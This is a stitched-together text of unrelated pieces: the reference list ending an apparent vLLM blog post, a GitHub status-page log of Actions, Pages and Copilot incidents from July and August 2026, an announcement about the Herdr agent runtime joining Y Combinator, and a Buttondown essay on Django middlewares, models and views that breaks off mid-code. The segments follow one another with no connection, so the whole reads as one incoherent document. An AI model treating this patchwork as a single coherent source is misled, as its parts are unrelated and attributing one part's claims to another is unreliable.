I love understanding systems. Having said that, the resolution definitely suffered at this altitude. In the next posts I'll zoom in on specific subsystems and get into the nitty-gritty details.

References

1. vLLM https://github.com/vllm-project/vllm
2. "Attention Is All You Need", https://arxiv.org/abs/1706.03762
3. "Efficient Memory Management for Large Language Model Serving with PagedAttention", https://arxiv.org/abs/2309.06180
4. "DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model", https://arxiv.org/abs/2405.04434
5. "Jenga: Effective Memory Management for Serving LLM with Heterogeneity", https://arxiv.org/abs/2503.18292
6. "Orca: A Distributed Serving System for Transformer-Based Generative Models", https://www.usenix.org/conference/osdi22/presentation/yu
7. "XGrammar: Flexible and Efficient Structured Generation Engine for Large Language Models", https://arxiv.org/abs/2411.15100
8. "Accelerating Large Language Model Decoding with Speculative Sampling", https://arxiv.org/abs/2302.01318
9. "EAGLE: Speculative Sampling Requires Rethinking Feature Uncertainty", https://arxiv.org/abs/2401.15077
10. "Medusa: Simple LLM Inference Acceleration Framework with Multiple Decoding Heads", https://arxiv.org/abs/2401.10774
11. LMCache, https://github.com/LMCache/LMCache

Past Incidents

Aug 7, 2026

Incident with Actions

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 7, 02:04 UTC

Update - During the incident, some Actions Runner Controller (ARC) runner pods became stuck in an idle state. Affected users can delete those pods using kubectl or redeploy their Actions Runner Controller application. ARC will automatically create replacement runners.

The next releases of Actions Runner and Actions Runner Controller will include an automatic recovery mechanism, preventing the need for these manual steps in the future.

Some workflow-triggering events, including push and pull request events, were not processed during the incident and cannot be replayed automatically. Customers may need to repeat the triggering action by pushing a new commit, updating the pull request, or manually re-running the workflow where applicable.
Aug 7, 02:03 UTC

Update - We’re investigating reports that some Actions Runner Controller runners are taking longer than expected to recover. We’ll provide an update as our investigation progresses.
Aug 7, 00:59 UTC

Monitoring - The degradation has been mitigated. We are monitoring to ensure stability.
Aug 7, 00:06 UTC

Update - The degradation affecting Actions and Pages has been mitigated. We are monitoring to ensure stability.
Aug 7, 00:05 UTC

Update - System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.
Aug 7, 00:01 UTC

Update -

System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.
Aug 7, 00:01 UTC

Update - We have deployed fixes that address runners being assigned invalid jobs and are taking additional steps to clear the backlog of affected jobs. Job completion rates for running workflows have improved significantly, with success rates now at 99%. Global queues for hosted runner assignment are nearly burned down and concurrency queues for customers are being processed. Another change was deployed to accelerate processing the backlog of job requests.

We are gradually restoring throughput for webhook-triggered Actions workflows and monitoring system stability. We have deployed a fix for self-hosted runners that were not picking up jobs and are enabling it incrementally.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience intermittent failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We continue to monitor recovery across all affected services and will provide another update as conditions improve.
Aug 6, 23:13 UTC

Update - We continue to make progress on the issue affecting GitHub Actions. We have deployed a fix that addresses runners being assigned jobs that are no longer valid, and are seeing improvement in job completion rates. For workflow runs that are starting, success rates have increased significantly and are now at 97%. Standard and larger runners are now draining queued work. A change is also in progress to mitigate issues with existing self-hosted runners that are not picking up jobs.

Webhook triggers remain throttled to support recovery. Many push and pull request events are not yet triggering new workflow runs, and we are working to safely restore full throughput.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We are continuing to monitor recovery and will provide another update as conditions improve.
Aug 6, 22:18 UTC

Update - We are continuing to work on an issue affecting GitHub Actions. Webhook triggers remain throttled to aid recovery, so many push and pull request events are not triggering new workflow runs.

We identified runners being assigned jobs that are no longer valid and are deploying a change to address this issue. Both GitHub-hosted and self-hosted runners are affected.

Copilot code review, Copilot coding agent, and GitHub Pages may experience failures or delays. Migrations using GitHub Enterprise Importer have been paused to support mitigation efforts.
Aug 6, 21:30 UTC

Update - We are continuing to work on an issue affecting GitHub Actions. Webhook triggers are currently throttled to help with recovery and and we are processing approximately 15% of webhooks, so many events such as pushes and pull requests are not triggering workflow runs. Of jobs queued, approximately 65% are succeeding, improved from a low of 30 to 40% earlier in this incident.

We have narrowed the remaining impact to runners that are stuck retrying jobs that are no longer available. Both GitHub-hosted and self-hosted runners are affected, and we are working to recover them.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected.
Aug 6, 20:34 UTC

Update - We are continuing to work on an issue affecting GitHub Actions.

Capacity remains constrained and jobs may still be delayed or fail while it recovers gradually. Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Our engineers remain actively engaged.
Aug 6, 19:43 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing, and jobs may remain queued for an extended period before starting or may time out. Jobs using GitHub-hosted runners are particularly affected while capacity is constrained.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Recovery is taking longer than we expected, and engineers remain actively engaged.
Aug 6, 18:46 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer may also be affected.

Webhook deliveries may be delayed.

Engineers have applied further mitigations and are continuing to work towards full recovery.
Aug 6, 18:11 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are failing or delayed in starting, and some queued jobs may time out.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer might also affected.

Webhook deliveries may be delayed.

Engineers have applied a number of mitigations and are rolling out a further fix across all affected systems now.
Aug 6, 17:40 UTC

Update - We are continuing to work on the issue affecting GitHub Actions.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Some requests to the Actions API are returning errors. Customers running migrations with GitHub Enterprise Importer may see failures.

Our engineers have applied several mitigations and are rolling out a further fix now.
Aug 6, 17:02 UTC

Update - Actions and Pages are experiencing degraded availability. We are continuing to investigate.
Aug 6, 16:33 UTC

Update - We are continuing to work on the issue affecting GitHub Actions.

Some workflow runs are still delayed or failing to complete, and some requests to the Actions API are returning errors.

Customers running migrations with GitHub Enterprise Importer may also see failures.

Engineers are actively working towards full recovery.
Aug 6, 16:27 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Aug 6, 16:27 UTC

Update - Pages is operating normally.
Aug 6, 16:19 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Aug 6, 15:53 UTC

Update - We are investigating errors affecting GitHub Actions. Some workflow runs are failing to start or failing partway through, and some requests to the Actions REST API are returning errors.

Some customers may also see unexpected rate limiting in their workflows.

Engineers have identified the source of the disruption and are actively working on a mitigation
Aug 6, 15:45 UTC

Update - Actions is experiencing degraded availability. We are continuing to investigate.
Aug 6, 15:41 UTC

Investigating - We are investigating reports of degraded performance for Actions
Aug 6, 15:22 UTC

Aug 6, 2026

Incident with Pages - Deployment Lag

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 6, 16:22 UTC

Monitoring - The degradation affecting Pages has been mitigated. We are monitoring to ensure stability.
Aug 6, 15:50 UTC

Investigating - We are investigating reports of degraded performance for Pages
Aug 6, 15:03 UTC

Aug 5, 2026

Some Copilot Cloud Agent jobs not starting

Resolved - On August 5, 2026, between 11:02 and 11:54 UTC, the GitHub Copilot cloud agent service was degraded and new cloud agent jobs were delayed from starting. During this period 100% of newly submitted agent jobs were affected. The incident was limited to delay of cloud agent jobs. No jobs were lost and the queued backlog was processed by 13:00 UTC. This was due to an internal rate limit used to protect service availability that was enabled more broadly than intended delaying more traffic than expected.

The service recovered when the rate limit window expired. We then tuned the control so it no longer affected unrelated coding agent traffic.

We are working to improve the control's scoping and our monitoring and alerting to reduce our time to detection and mitigation of similar issues in the future.
Aug 5, 13:00 UTC

Update - Copilot cloud agent jobs have recovered and the backlog of delayed jobs is being processed.
Aug 5, 12:10 UTC

Monitoring - The degradation has been mitigated. We are monitoring to ensure stability.
Aug 5, 12:01 UTC

Investigating - We are investigating reports of impacted performance for some GitHub services.
Aug 5, 11:38 UTC

Aug 4, 2026

No incidents reported.

Aug 3, 2026

Incident with Copilot

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 3, 11:25 UTC

Monitoring - The degradation affecting Copilot has been mitigated. We are monitoring to ensure stability.
Aug 3, 11:19 UTC

Update - We are still seeing intermittent errors with Copilot, and are continuing to investigate and consider mitigations.
Aug 3, 10:35 UTC

Update - We are experiencing degraded availability for chat & agent models in Copilot. Multiple models are impacted and customers may experience requests failing. We are investigating and will provide an update as soon as possible.
Aug 3, 09:54 UTC

Investigating - We are investigating reports of degraded performance for Copilot
Aug 3, 09:53 UTC

Aug 2, 2026

No incidents reported.

Aug 1, 2026

Incident with Copilot AI Model Providers

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 1, 18:44 UTC

Update - The issues with our upstream model provider have been resolved, and Fable 5 is once again available in Copilot products and IDE surfaces.

We will continue monitoring to ensure stability, but mitigation is complete.
Aug 1, 18:23 UTC

Monitoring - The degradation affecting Copilot AI Model Providers has been mitigated. We are monitoring to ensure stability.
Aug 1, 18:20 UTC

Update - We are experiencing degraded availability for the Fable 5 model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Aug 1, 18:20 UTC

Update - We are seeing increased error rates from specific upstream AI Model Providers
Aug 1, 18:03 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Aug 1, 18:03 UTC

Degraded availability GPT 5.6 Luna

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 1, 12:30 UTC

Update - The issues with our upstream model provider have been resolved, and GPT-5.6 Luna is once again available in Copilot products and IDE surfaces.
We will continue monitoring to ensure stability, but mitigation is complete.
Aug 1, 12:29 UTC

Update - We keep working with our upstream model provider, and are observing recovery. We continue monitoring to ensure stability.
Aug 1, 12:13 UTC

Update - We are experiencing degraded availability for the GPT-5.6 Luna model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot
Aug 1, 11:20 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Aug 1, 11:16 UTC

Jul 31, 2026

No incidents reported.

Jul 30, 2026

Copilot model Claude Fable 5 experiencing elevated errors

Resolved - On July 30, 2026, the Claude Fable 5 model in GitHub Copilot experienced degraded availability for approximately 73 minutes, from 08:33 to 09:46 UTC. During this time, requests to Claude Fable 5 in Copilot chat and IDE surfaces frequently failed or timed out. This was caused by an issue with an upstream model provider. Other Copilot models were not affected, and users could continue working by selecting another model or 'Auto'. Availability for Claude Fable 5 fully recovered once the provider resolved their outage at 09:46 UTC, and we confirmed resolution at 10:12 UTC.
Jul 30, 10:12 UTC

Update - The issues with our upstream model provider have been resolved, and Claude Fable 5 is once again available in Copilot products and IDE surfaces.

We will continue monitoring to ensure stability, but mitigation is complete.
Jul 30, 10:11 UTC

Update - We are experiencing degraded availability for the Claude Fable 5 model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Jul 30, 09:17 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Jul 30, 09:07 UTC

Jul 29, 2026

Incident with Copilot AI Model Providers

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Jul 29, 21:51 UTC

Update - The external ai model provider has resolved the issues, and we have verified Copilot's traffic is fully recovered.
Jul 29, 21:51 UTC

Update - The external AI model provider is continuing to investigate.
Jul 29, 21:08 UTC

Update - The external AI model provider has identified the issue and is working to resolve.
Jul 29, 20:38 UTC

Update - We are investigating increased error rates affecting GitHub Copilot requests to external AI model providers. Some users may experience failures or degraded performance when using Copilot features.
Jul 29, 20:18 UTC

Update - We are seeing increased error rates with requests to specific model providers.
Jul 29, 20:07 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Jul 29, 20:07 UTC

Incident with Actions

Resolved - On July 29, 2026, from 14:51 UTC to 15:28 UTC, GitHub Actions experienced elevated REST API request timeouts and errors, failures registering runners, and delayed workflow run starts for customers whose traffic was served by a single infrastructure site. This was caused by an under-provisioned internal Actions service in that site: under increased load its instances ran out of memory and became unresponsive, and because Actions API requests wait synchronously on that service, requests routed through the affected site stalled and timed out. During the incident, approximately 2% of workflows were delayed. Requests served by other sites remained unaffected. Both standard and larger hosted runners routed through the affected site could see delayed job starts.

The issue was mitigated by scaling out the runner-administration service in the affected site and increasing the replica count, which restored API availability and returned workflow run starts to normal. We are working to add horizontal autoscaling, memory-saturation alerting, and scaling-forecast monitoring for this service, along with responder playbooks, to reduce the likelihood of similar issues in the future.
Jul 29, 16:00 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 29, 15:40 UTC

Update - We are investigating an issue affecting GitHub Actions. Some customers may experience timeouts or failures with runner registration and workflow runs may be delayed during startup. Our team is actively working to mitigate the impact by scaling capacity across additional infrastructure.
Jul 29, 15:34 UTC

Investigating - We are investigating reports of degraded availability for Actions
Jul 29, 15:26 UTC

Jul 28, 2026

No incidents reported.

Jul 27, 2026

Incident with GraphQL API Requests

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Jul 27, 04:09 UTC

Monitoring - The degradation affecting API Requests has been mitigated. We are monitoring to ensure stability.
Jul 27, 04:09 UTC

Investigating - We are investigating reports of degraded performance for API Requests
Jul 27, 03:53 UTC

Jul 26, 2026

No incidents reported.

Jul 25, 2026

Actions run failures and delays

Resolved - Please refer to the combined summary in this related incident: https://www.githubstatus.com/incidents/s65j9gslmfm8
Jul 25, 13:13 UTC

Update - We have seen recovery in GitHub Actions performance following our earlier mitigation. Workflow runs are processing normally, though jobs queued before 12:40 UTC may still experience failures and will need to be retried.
Jul 25, 13:12 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 25, 12:59 UTC

Update - We have applied a mitigation for the infrastructure issue affecting GitHub Actions. Workflow run failures and delays are improving but not yet fully resolved. Our engineering team continues to work on restoring full functionality across all affected infrastructure.
Jul 25, 12:58 UTC

Update - We are experiencing issues with GitHub Actions that are causing workflow run failures and delays for some users. Our engineering team is actively investigating the infrastructure issue and working to restore full functionality.
Jul 25, 12:34 UTC

Investigating - We are investigating reports of degraded availability for Actions
Jul 25, 12:31 UTC

Several GPT models degraded

Resolved - On July 25, 2026, between 09:07 and 10:04 UTC, the GPT-5.2, GPT-5.3-Codex, GPT-5.4, GPT-5.4 Mini, GPT-5.6 Sol, GPT-5.6 Terra and GPT-5.6 Luna models experienced degraded availability in GitHub Copilot products and IDE surfaces. Requests to these models had an average failure rate of 5.6%. Other Copilot models remained available as alternatives.

The degradation was caused by an issue with an upstream model provider. Success rates returned to normal after the upstream issue was mitigated, and we continued monitoring before resolving the incident. We are working on improving the automated failover for the affected models to prevent similar incidents in the future.
Jul 25, 10:11 UTC

Monitoring - The degradation affecting Copilot AI Model Providers has been mitigated. We are monitoring to ensure stability.
Jul 25, 10:04 UTC

Update - We are experiencing degraded availability for the GPT-5.2, GPT-5.3-Codex, GPT-5.4, GPT-5.4 Mini, GPT-5.6 Sol, GPT-5.6 Terra, and GPT-5.6 Luna models in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Jul 25, 09:48 UTC

Investigating - We are investigating reports of degraded availability for Copilot AI Model Providers
Jul 25, 09:42 UTC

Incident with Actions

Resolved - On July 25, 2026, GitHub Actions experienced two related periods of degradation that caused some workflow runs to be delayed by more than 5 minutes or end with infrastructure failures.

First period (08:45 – 09:13 UTC): During planned maintenance on a critical-path Redis cluster for Actions, one participating region was left in a degraded state. Separately, an independent capacity operation temporarily removed another region from the cluster and redirected its traffic to the degraded region. This created cross-region inconsistencies in job-assignment state, causing workflow runs to be delayed, exhaust retries, or fail outright. At peak, about 7% of runs were delayed by more than 5 minutes, and 25% of runs failed with an infrastructure error during the course of the incident. We mitigated the incident at 09:13 UTC by returning traffic to its normal distribution.

Second period (12:08 – 12:48 UTC): As part of mitigating the first incident, traffic was returned to the regional instance that was still undergoing its capacity increase. Multiple Redis nodes in the scaling region experienced failures, increasing traffic to healthy nodes and causing connection limits to be reached on many nodes. At peak, 30% of runs were delayed by more than 5 minutes, and 60% of runs failed with an infrastructure error during the course of the incident. We mitigated the incident at 12:48 UTC by redirecting workflow traffic away from the scaling region.

We are adding stronger regional health and capacity checks before maintenance and requiring a stable observation period before restoring traffic. We are also improving automated connection resiliency, and partnering with our platform dependency to automatically detect and remediate unhealthy cluster members and shard imbalance. More generally, we already had work underway to improve the resiliency and scale of this piece of Actions infrastructure.
Jul 25, 09:25 UTC

Update - We identified an issue causing delays in GitHub Actions run starts. Some users may have experienced longer than expected wait times when triggering workflow runs. We have applied mitigations and have recovered. Our team continues to monitor and investigate the root cause.
Jul 25, 09:20 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 25, 09:13 UTC

Investigating - We are investigating reports of degraded performance for Actions
Jul 25, 08:59 UTC

Jul 24, 2026

Incident with Pull Requests

Resolved - Between July 24, 19:17 UTC and July 24, 20:02 UTC, users were unable to create pull requests due to a database schema change. In total, 113,930 pull request creation attempts were impacted across 50,904 users, with an average error rate of 1.75% and a maximum error rate of 2.25% for all requests to Pull Requests service. Existing pull requests and other GitHub functionality were not affected. The issue was resolved by reverting the change to the affected database, upon which pull request creation immediately resumed.

The root cause was related to a backfill workflow into the Vitess keyspace hosting Pull Request data. The backfill Vitess command encountered errors and increased VReplication lag, and the workflow was canceled at 19:17 UTC. The cancellation executed a misunderstood Vitess codepath that dropped the backing table to the target keyspace, leaving a non-existent reference that resulted in errors creating Pull Requests. The mitigation was executing a command to drop the vschema reference to the dropped table, allowing Pull Request creation to resume.

We are adding stronger pre-flight validation to our tooling to prevent similar issues and expanding lower-environment support to provide better test coverage end-to-end before promoting them to production. We're also fixing our backfill migration tooling to protect from this specific codepath.
Jul 24, 20:23 UTC

Monitoring - The degradation affecting Pull Requests has been mitigated. We are monitoring to ensure stability.
Jul 24, 20:02 UTC

Update - We have applied a mitigation and are monitoring for recovery
Jul 24, 19:59 UTC

Update - Pull Requests is experiencing degraded availability. We are continuing to investigate.
Jul 24, 19:43 UTC

Update - We are investigating errors creating pull requests
Jul 24, 19:40 UTC

Investigating - We are investigating reports of degraded performance for Pull Requests
Jul 24, 19:37 UTC

Disruption with some GitHub services

Resolved - On July 24th at 16:04 UTC, a loss of connectivity occurred in network paths in one of our three physical data center availability zones (AZs). This resulted in packet loss due to the remaining active paths becoming saturated. Our data centers use a leaf-spine switch fabric in each compute cage, and an aggregation layer interconnecting the spines from each cage within each AZ. The loss of connectivity affected links between one cage’s spine switches and the aggregation layer within that specific AZ.

Workloads depending on compute resources in this cage became degraded due to packet loss, and exhibited intermittent errors:

• Actions saw 10% of jobs fail during the impact window, and 5% of jobs succeeded but with delayed starts.
• 27% of GitHub issues interactions saw slow requests or timeouts.
• 4% of GitHub Copilot requests experienced errors, though most automatically retry.
• 4% of git push operations saw impacts during the affected window.
• Authentication requests saw increased latency during the affected window, but error rates, while elevated, were < 1% in all cases.

We were able to mitigate the outage by re-routing affected connections to available fiber paths that were allocated for future capacity upgrades. Sufficient network capacity to eliminate packet loss was restored at 17:07, with most services showing full recovery by 17:16. All paths were restored and services healthy at 17:36.

This incident affected 25% of available network interconnect capacity. Older cages utilize a 100Gbps network interface standard. To remove risk of reoccurrence, a planned upgrade to 400Gbps interfaces is being accelerated as much as possible, ensuring increased bandwidth available at all layers of the switch fabric for resiliency to path or device loss.
Jul 24, 17:36 UTC

Update - We are seeing recovery across all services
Jul 24, 17:24 UTC

Update - The degradation affecting API Requests, Actions, Copilot, Issues, Pages and Pull Requests has been mitigated. We are monitoring to ensure stability.
Jul 24, 17:16 UTC

Update - Actions is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:41 UTC

Update - We have applied a mitigation and are monitoring for recovery
Jul 24, 16:40 UTC

Update - Actions is experiencing degraded availability. We are continuing to investigate.
Jul 24, 16:28 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:27 UTC

Update - Copilot is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:26 UTC

Update - We are investigating timeouts to some GitHub services
Jul 24, 16:22 UTC

Update - Pull Requests is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:20 UTC

Update - Actions is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:19 UTC

Investigating - We are investigating reports of degraded performance for API Requests and Issues
Jul 24, 16:17 UTC

Incident With Blocked GitHub.com Traffic

Resolved - Between July 23, 2026 at 18:45 UTC and July 24, 2026 at 11:19 UTC, an abuse mitigation update caused some legitimate customers whose traffic was routed through our Central Europe and South America edge locations to be incorrectly blocked from GitHub.com. We estimate that approximately 0.25% of GitHub.com requests were affected during this period.

This was caused by an abuse mitigation configuration that incorrectly classified legitimate traffic. We mitigated the incident by reverting the update. We are adding validation and safeguards to prevent similar incorrect blocking in the future.
Jul 24, 11:00 UTC

Hey everyone, it’s Can, the only person behind Herdr. This post is about how I decided to change that.

Four months ago I was looking for another job. Thinking about where to go career-wise. Thinking about software engineering and its future in general, my hobby projects, applications, whiteboard interviews (I still can’t believe we do those). And at some point it hit me: I am the bottleneck.

This is a management and engineering problem. I don’t want to install an app or learn a new tool just to manage my agents and my development style. I want something that fits me. You know how every company releases their own agent these days? No, don’t do that. Let my agent integrate with your product, don’t offer me another agent.

Same idea here. I didn’t like what I tried, so why not build it? So I built a runtime. But what is a runtime?

Runtime

CLI coding agents run in terminals, and terminals have always been our home: editing code (yes, nvim chads), running servers, navigating projects, maintaining CI, machines, configurations. It’s the root. It’s the connection. So agents need first class primitives there.

A terminal pane belongs to an agent. A pane belongs to a tab. Tabs belong to a project.

They need to be persistent. We have agents running for hours now, sometimes days. And once you have the runtime, where they run stops mattering. You should be able to run them anywhere and keep them running.

That’s where Herdr was born. But a runtime without an interface is nothing, so: the TUI.

TUI

The TUI is the UI I use every day, and it carried Herdr this far. Not because it’s a UI, but because it shows the concepts Herdr believes in: tracking agents at a glance, dividing work between projects instead of getting lost in a pile of agents, being alerted only when an agent actually needs you.

It also has one big advantage, and it’s the reason it stays first class forever: it’s bundled. Install Herdr on your VPS, ssh in, and your UI is already there. Or run herdr --remote user@host and it installs itself. Depending on your network speed, you’re a couple of seconds away from an agent running. One command and you’re in. Nothing beats that.

Still, the TUI was never meant to be the only client. A runtime means people can build on top of it, and people did! A Raycast extension, a Stream Deck with buttons for herdr, an iOS app that drives a whole session from a phone. More than 500 plugins, one month after the marketplace released. I didn’t build any of these.

The TUI has its limits too. Some of the ideas in my head are hard to build inside a terminal, and I trust terminals, but Herdr will need more clients. More on that later.

Where we are now

So a solo project reached 25k stars and 340k downloads, and it became more than one person can carry.

Herdr is joining Y Combinator, F26 batch. I’m excited to make Herdr a company that builds a developer tool for anyone juggling agents all day. I want to build a small team: people who keep the runtime healthy, robust, fast, running anywhere easily, and more extensible. Letting you do more while Herdr stays small.

The runtime, what you use right now, stays free. Apache-2.0. That’s why I recently switched it from AGPL to Apache: I want everyone to use Herdr freely, without any problem.

Where we’re going

I want to build on top of the open Herdr runtime like everyone else. I’ll keep supporting the open source while building the features people really need. The demand is already visible: multiple clients, a laptop, a VPS for the six hour job, a sandbox for risky code and ephemeral agents. Herdr can run anywhere today, but those machines are disconnected.

It should be connected.

There are many more features in my head, but I don’t want to rush. People keep telling me they love that Herdr stays lean, and that’s what I want to protect. In an age where adding one more feature costs nothing, choosing what goes in the core is the most important decision, I believe. So the core stays small, and everything else stays possible through extensions: your style, your flows, your company’s setup, your themes, your crazy ideas.

Thank you for getting Herdr this far. Thanks for the support, for sharing the love. You have no idea how grateful I am.

Anyway, back to work.

The best parts of Django are the ones you stop noticing — a tour of the abstractions that have given Buttondown the most leverage over the years.

My goal at the onset of writing this essay was to celebrate the parts of Django that I, in Buttondown writ large, have found so useful and so enduring over the years.

One of the challenges in doing this is what I would describe as a fundamental asset of Django itself: that it is just the right level of opinionated and structured such that it becomes, over time, invisible. And I found it hard at first to squint at our codebase and point to "quote-unquote" Django things, because the Django part of the application blends so smoothly into the aspects that are simply Pythonic or simply business logic.

I do not look at Buttondown and see a Django app; I see a well-structured codebase with many things that have been solved by smarter people than myself. This, more than anything else, is what I love about Django.

However poetic that might be, it makes for a short and boring blog post. So I put on a combination of thinking cap and x-ray goggles and really took a look at: what parts of Django brought us the most long-term leverage over the past few years?

1. Middlewares

Django's middleware abstraction is incredibly simple, and thereby incredibly powerful. I think folks like me who really matured during the middleware-as-function versus middleware-as-class migration take for granted that, regardless of the actual Python primitive, Django middlewares are simple functions that act on the request/response lifecycle. All they need to do is adopt that protocol, and they can do whatever they want within it. It turns out this kind of request hook is extremely useful for a number of things: routing a request to the right newsletter based on its subdomain, capturing UTM and referrer attribution, setting Content-Security-Policy headers, recording pageviews, binding request context onto our structured logs, and — below — stamping the deployed build version.

Here's the entirety of the one that stamps every response with the deployed git SHA, so a stale browser tab can notice a newer build has shipped:

# app/emails/middlewares/build_version.py
class Middleware:
    def __init__(self, get_response: Callable[[HttpRequest], HttpResponse]) -> None:
        self.get_response = get_response

    def __call__(self, request: HttpRequest) -> HttpResponse:
        response = self.get_response(request)
        if settings.HEROKU_SLUG_COMMIT and not flag_is_active(CIRCUIT_BREAKER_FLAG):
            response[BUILD_VERSION_HEADER] = settings.HEROKU_SLUG_COMMIT
        return response

If there's one tool that I think the median Django developer should take more advantage of, it's middlewares.

2. Models (and light inheritance)

We shy away from polymorphic models, partially because we think they're a bit of a footgun, but more realistically because we just don't have many use cases that adapt well for them. However, every single model in Buttondown inherits from a base model. A trimmed version of it looks like this:

# app/utils/models.py
class BaseModel(models.Model):
    creation_date = models.DateTimeField(auto_now_add=True)
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    objects = TypeIDAwareManager()

    def save(self, *args, **kwargs):
        super().save(*args, **kwargs)
        # For any tracked field that actually changed, fire its
        # handle_<field>_change hook and persist a transition row.
        ...

    class Meta:
        abstract = True
        ordering = ("-creation_date",)

That base class is quietly doing a lot, all of it opt-in and additive:

• A UUID primary key and a creation_date on every table, for free.
• Public, type-prefixed IDs (sub_..., em_...) that the ORM decodes transparently, via a custom manager and queryset.
• Implicit change tracking: define handle_<field>_change and it runs whenever that field changes — no signal, no registration.
• Durable provenance: map a field to a transition table and every change is written as its own row.
• Per-field validation hooks (validate_<field>).
• An opt-in soft-delete manager, and hooks into our data-integrity checker system.

It seems like an odd thing to surface in this post, but what was so convenient about Django's approach to object-orientation was that all of this was piecemeal. Grafting on new bits of common functionality did not require any significant amount of labor or migration or refactor. And it means being able to do things like provenance tracking for new fields is very, very simple — the model opts in with a single method, and the base class does the rest:

# app/emails/models/email/model.py
class Email(BaseModel):
    # Implicit change tracking: define handle_<field>_change and BaseModel
    # invokes it whenever that field actually changes. No signal, no wiring.
    def handle_body_change(self, **kwargs) -> None:
        AsynchronousAction.enqueue(sync_snippet_references, [str(self.id)])

    # Durable provenance: map a field to a transition table and every change
    # is persisted as a row. Adding one is a one-line dict entry.
    @classmethod
    def tracked_field_to_transition_class(cls) -> dict[str, type[BaseTransition]]:
        return {"status": EmailStatusTransition}

Neither of these required a migration to the base class or a refactor of any call site.

3. Actions

Rather than let model classes accrete dozens of methods, every behavior a model can undergo lives in its own file under an actions/ folder beside that model — one verb per module, each exposing a call(). Here's the whole of "ban a subscriber," which itself composes another action:

# app/emails/models/subscriber/actions/ban.py
from emails.models.subscriber.actions import end_premium_subscription
from emails.models.subscriber.model import Subscriber


def call(subscriber: Subscriber) -> None:
    if subscriber.subscriber_type == Subscriber.Type.PREMIUM.value:
        end_premium_subscription.call(str(subscriber.id))

    subscriber.subscriber_type = Subscriber.Type.REMOVED.value
    subscriber.save(update_fields=["subscriber_type", "modification_date"])

4. Views

Our approach to views is extremely doctrinaire and extremely simple. A view must:

1. live in its own file
2. be function-based rather than a CBV
3. expose that function with the name of view

# app/emails/views/record_lifecycle_email_open.py
def view(request: HttpRequest, compressed_id: str) -> HttpResponse:
    try:
        account_id, email_type = _decode_open_payload(compressed_id)
    except (UnicodeDecodeError, Base64Error, ValueError):
        return HttpResponse(TRANSPARENT_GIF, content_type="image/gif")

    with transaction.atomic():
        LifecycleEmailEvent.objects.create(
            account_id=account_id,
            email_type=email_type,
            event_type=LifecycleEmailEvent.EventType.OPENED,
            timestamp=timezone.now(),
